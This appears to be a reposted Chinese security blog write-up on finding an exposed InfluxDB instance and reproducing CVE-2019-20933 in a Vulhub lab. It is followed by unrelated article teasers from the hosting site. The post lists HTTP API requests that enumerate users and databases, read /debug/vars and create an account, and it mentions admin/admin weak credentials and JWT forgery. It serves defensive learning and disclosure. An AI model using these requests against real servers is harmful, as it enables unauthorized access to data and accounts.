记录一次时序数据库的实战测试

0x1.前言

本文章仅用于信息安全防御技术分享,因用于其他用途而产生不良后果,作者不承担任何法律责任,请严格遵循中华人民共和国相关法律法规,禁止做一切违法犯罪行为。文中涉及漏洞均以提交至教育漏洞平台。

0x2.背景

在某次Edusrc挖掘过程中,我发现了一个404状态码的ip站如下图所示:

图片

我的直觉告诉我,这个站不太简单。于是我信息搜集了一下端口为8086的常见服务:

图片

当我看到这个InfluxDB的时候,我灵感突然来了,虽然我当时不知道是什么,我尝试着进行抓包看看返回包,但是多尝试一下没想到这个站点还真的是InfluxDB服务!

图片

后续利用我先不讲,我们先好好讲一下InfluxDB是一个怎么样的数据库。

0x3.InfluxDB介绍

InfluxDB是一个由InfluxData开发的开源时序型数据库。它由Go写成,着力于高性能地查询与存储时序型数据。InfluxDB被广泛应用于存储系统的监控数据,IoT行业的实时数据等场景。

在了解了InfluxDB的基本概念之后我们得先了解一下什么是时序性数据库。

为了方便理解我将时序性数据库与大家常用的关系型数据库进行一个以表格的形式进行对比展示:

特征时序性数据库 (TSDB)关系型数据库
数据模型专门设计用于时间序列数据,包括时间戳、测量值、标签和字段。通用数据模型,表格结构,支持多种数据类型。
查询语言使用专门的查询语言,如InfluxQL或Flux,用于时间序列数据的高效查询和分析。使用SQL进行复杂的查询操作,支持多表关联和通用数据分析。
性能和优化针对高性能时间序列数据存储和查询进行了优化,具有高吞吐量和低延迟。面向通用工作负载,不一定专注于高性能时间序列数据处理。
应用领域用于监控、日志分析、传感器数据、度量数据、物联网应用等,其中时间序列数据是核心。用于各种不同类型的应用领域,不限于时间序列数据。
数据完整性和一致性提供数据完整性和一致性,但通常没有像关系型数据库中的ACID属性那么强调。通常强调ACID属性以确保数据的一致性和完整性。
复杂查询支持不支持像关系型数据库中的复杂JOIN操作和多表关联查询。支持复杂的SQL查询,包括JOIN操作和多表查询。
数据建模和模式定义更灵活,数据模型通常根据需求动态定义,不要求固定的模式。需要明确定义模式,表的结构通常静态。
扩展性通常针对高并发和大数据量的时间序列数据设计,支持水平扩展。支持垂直和水平扩展,但可能需要更多配置和优化。
主要优势高性能时间序列数据存储和查询,专注于时间序列应用。通用性、数据完整性、支持复杂查询和关联操作。

然后我也整理了一下MySQL与InfluxDB概念差异和相关概念扩展用一个表格来进行对比展示:

概念MySQLInfluxDB
数据类型和键支持多种数据类型,需要定义主键和外键不同数据类型,数据模型专注于时间序列
关系模型使用关系数据库管理系统 (RDBMS) 模型专注于时间序列数据,没有复杂关系
事务处理支持事务处理,使用ACID属性无事务处理,数据写入是原子操作
SQL查询使用SQL进行数据查询和操作使用InfluxQL或Flux查询语言,特化于时间序列数据
复制和集群支持主从复制、主主复制和集群配置提供高可用性和数据冗余的集群配置
数据存储单位表 (table)Measurement,Series是由Measurement和相关的标签(Tags)组成的具体时间序列数据集合。
基本数据单位列 (column)Tag (标签,可用于高效过滤和索引)、Field (字段,不用于索引)、Timestamp (时间戳,作为唯一主键)
连续查询不适用支持连续查询,可自动汇总历史数据
适用领域通用的关系型数据存储需求高性能、高可用性的时间序列数据存储和查询
主要优势复杂关系模型、事务处理、通用数据存储时间序列数据的高性能、高吞吐量

然后这里整理了一些常见的 InfluxQL Http Api的语句:

GET /query?q=SHOW USERS #查看当前所有的数据库用户
GET /query?q=SHOW DATABASES #查看所有数据库
GET /query?q=SHOW MEASUREMENTS&db=某个db的名称 #查询数据库中所含的表
GET /query?q=SHOW FIELD KEYS&db=某个db的名称 # 查看当前数据库所有表的字段
GET /query?q=show series&db=某个db的名称 # 查看series
GET /debug/vars #debug敏感泄露
POST /query?q=CREATE USER XXX WITH PASSWORD 'XXX' # 这一点需要伪造jwt

0x4.本地漏洞复现

实战的利用过程就不放上来了,放上来也是厚码还不如直接本地复现讲的更清楚。

使用Vulhub在本地虚拟机上搭建:

没有搭建过vulhub靶场可以参考官方文档:https://vulhub.org/#/docs/install-docker/

搭建好后我们直接使用如下命令:

cd /vulhub/influxdb/CVE-2019-20933
docker-compose up -d

开放在默认的8086端口,环境启动后,访问xxx:8086即可开始复现:

图片

虽然是404,但是抓包回显发现是influxdb服务

图片

16

图片

我简单尝试之后发现是弱口令admin/admin。如果发现弱口令不可以的话,可以伪造jwt我就不多赘述了。

然后我们来进行测试:

debug敏感泄露

GET /debug/vars

图片

查看当前所有的数据库用户

GET /query?q=SHOW USERS

图片

查看所有数据库

GET /query?q=SHOW DATABASES

图片

查询数据库中所含的表

GET /query?q=SHOW MEASUREMENTS&db=某个db的名称

图片

查看当前数据库所有表的字段

GET /query?q=SHOW FIELD KEYS&db=某个db的名称

图片

查看series

GET /query?q=show series&db=某个db的名称

图片

任意用户写

POST /query?q=CREATE USER XXX WITH PASSWORD 'XXX'

图片

GET /query?q=SHOW USERS

再来查看一下:

图片

最后别忘了关闭容器:

docker stop cve-2019-20933_web_1

0x6.总结

这篇主要是分享一下经验,也就是说不一定状态码是404的站点就一定不能利用。我相信阅读完此篇然后去复现一下,你对InfluxDB的利用肯定有不一样的理解~

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/129236.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

比赛准备笔记 --- TensotFlow、软件调试、数据预处理(图像,csv数据)

简介 TensorFlow是由Google团队开发的一个开源深度学习框架,完全基于Python语言设计。它的初衷是以最简单的方式实现机器学习和深度学习的概念,结合了计算代数的优化技术,使计算许多数学表达式变得简单。 优势: 强大的计算能力…

UE5数字孪生制作(一) - QGIS 学习笔记

1.下载 QGIS是免费的GIS工具,下载地址: https://www.qgis.org/en/site/ 2.安装 - 转中文 按照步骤安装,完成后,在菜单 设置settings里,选择options,修改语言 确定后,需要重启下软件 3.学习视…

前端学习之webpack的使用

概述 webpack是一个流行的前端项目构建工具(打包工具),可以解决当前web开发中所面临的问题。 webpack提供了友好的模块化支持,以及代码压缩混淆、处理js兼容问题、性能优化等强大的功能,从而让程序员把工作重心放到具…

Nignx安装负载均衡动静分离以及Linux前端项目部署将域名映射到特定IP地址

目录 一、nginx简介 1.1 定义 1.2 背景 1.3 作用 二、nginx搭载负载均衡提供前后分离后台接口数据 2.1 nginx安装 2.1.1 下载依赖 2.1.2 下载并解压安装包 2.1.3 安装nginx 2.1.4 启动nginx服务 2.2 tomcat负载均衡 2.2.1 负载均衡所需服务器准备 2.2.2 配置修改 …

ArGIS Engine专题(16)之GP工具实现影像批量复制重采样和按矢量范围批量裁剪

一、结果预览 (1)影像批量复制和重采样 (2)按矢量范围批量裁剪 二、需求简介 本文的最终目的其实是要实现影像按矢量范围批量裁剪,笔者准备处理的影像范围较大,并且是按各个市分块的,要实现统一裁剪时,需要将各个…

研究人员发现34个Windows驱动程序易受完全设备接管攻击

最近,研究人员发现了34个易受攻击的Windows驱动程序,这些漏洞可能被非特权威胁行为者利用来完全接管设备,并在底层系统上执行任意代码。这一发现引发了广泛关注,并引起了Windows用户的担忧。 导语 随着科技的不断进步,…

【APP】go-musicfox - 一款网易云音乐命令行客户端, 文件很小Mac版本只有16.5M

go-musicfox 是用 Go 写的又一款网易云音乐命令行客户端,支持各种音质级别、UnblockNeteaseMusic、Last.fm、MPRIS 和 macOS 交互响应(睡眠暂停、蓝牙耳机连接断开响应和菜单栏控制等)等功能特性。 预览 启动 启动界面 主界面 主界面 通…

windows 使用 EasyScreenLive 和 EasyDarwin 软件实现相机 rtsp 推流

1. 下载软件 实现 rtsp 推流,需要运行(1)rtsp 服务器、(2)rtsp 推流客户端。 rtsp 服务器 EasyDarwin:https://github.com/EasyDarwin/EasyDarwin rtsp 推流客户端 EasyScreenLive:https://git…

基于Taro + React 实现微信小程序半圆滑块组件、半圆进度条、弧形进度条、半圆滑行轨道(附源码)

效果: 功能点: 1、四个档位 2、可点击加减切换档位 3、可以点击区域切换档位 4、可以滑动切换档位 目的: 给大家提供一些实现思路,找了一圈,一些文章基本不能直接用,错漏百出,代码还藏着掖…

MySQL 分组后统计 TopN 优化思路

一、表信息 表结构如下: CREATE TABLE score (id int(11) NOT NULL AUTO_INCREMENT,name varchar(255) DEFAULT NULL,score int(11) DEFAULT NULL,PRIMARY KEY (id) ) ENGINEInnoDB AUTO_INCREMENT1746687 DEFAULT CHARSETutf8;使用存储过程生成十万条测试数据&am…

JavaScript:事件循环机制(EventLoop)

一、理解进程、线程 进程是操作系统中的基本概念之一,指的是一个正在运行中的程序,包括了程序的执行代码、数据、资源等。操作系统为每个进程分配一定的系统资源,例如内存空间、文件和设备等,以便进程能够正常运行。 线程是进程…

Nginx简介,Nginx搭载负载均衡以及Nginx部署前端项目

目录 一. Nginx简介 Nginx的优点 二. Nginx搭载负载均衡 2.1 Nginx安装 2.1.1 安装依赖 2.1.2 解压nginx安装包 2.1.3 安装nginx 2.1.4 启动nginx服务 2.2 tomcat负载均衡 2.3 Nginx配置 三. Nginx前端部署 一. Nginx简介 NGINX(读作:engi…

气膜场馆的降噪方法

在现代社会,噪音已经成为我们生活中难以避免的问题,而气膜场馆也不例外。传统的气膜场馆常常因其特殊结构而面临噪音扩散和回声问题,影响了人们的体验和活动效果。然而,随着科技的进步,多功能声学综合馆应运而生&#…

vscode开启emmet语法

需要在setting.json中添加配置 首先进入设置,然后点击右上角 Vue项目添加如下配置 "emmet.syntaxProfiles": { "vue-html": "html", "vue": "html" },React项目添加如下配置 "emmet.includeLanguages&quo…

大数据Doris(十五):Doris表的字段类型

文章目录 Doris表的字段类型 一、TINYINT数据类型 二、SMALLINT数据类型 三、INT数据类型

【Web】TCP 和 UCP 的含义和区别

文章目录 一、两者含义二、两者区别 一、两者含义 TCP/IP 协议组为传输层指明了两个协议:TCP 和 UDP,他们都是作为应用程序和网络操作的中介物 TCP (传输控制协议):通过三次握手建立可靠的连接,发送端将数据…

Vue3 如何在<script setup>里设置组件name属性

Vue3 如何在<script setup>里设置组件name属性 文章目录 Vue3 如何在\<script setup>里设置组件name属性一、Vue组件中 name 的用处二、难看但实用的方法三、使用第三方插件支持安装插件插件基本配置插件基本使用 四、Vue官方解决方法4.1 Vue3.3版本之前安装插件插…

物理内存的组织形式

由于物理地址是连续的&#xff0c;页也是连续的&#xff0c;每个页大小也是一样的。因而对于任何一个地址&#xff0c;只要直接除一下每页的大小&#xff0c;很容易直接算出在哪一页。每个页有一个结构 struct page 表示&#xff0c;这个结构也是放在一个数组里面&#xff0c;这…

C#中只能在.NetFramework下使用LINQtoSQL不要在.net 下使用

目录 一、在net7.0下无法实现LINQtoSQL 1.VS上建立数据库连接 2.VS上创建LINQtoSQL 二、在.NetFramework4.8下成功实现LINQtoSQL 1.VS上建立数据库连接 2.VS上创建LINQtoSQL 三、结论 四、理由 本文是个人观点&#xff0c;因为我百般努力在.net7.0下无法实现LINQtoSQL的…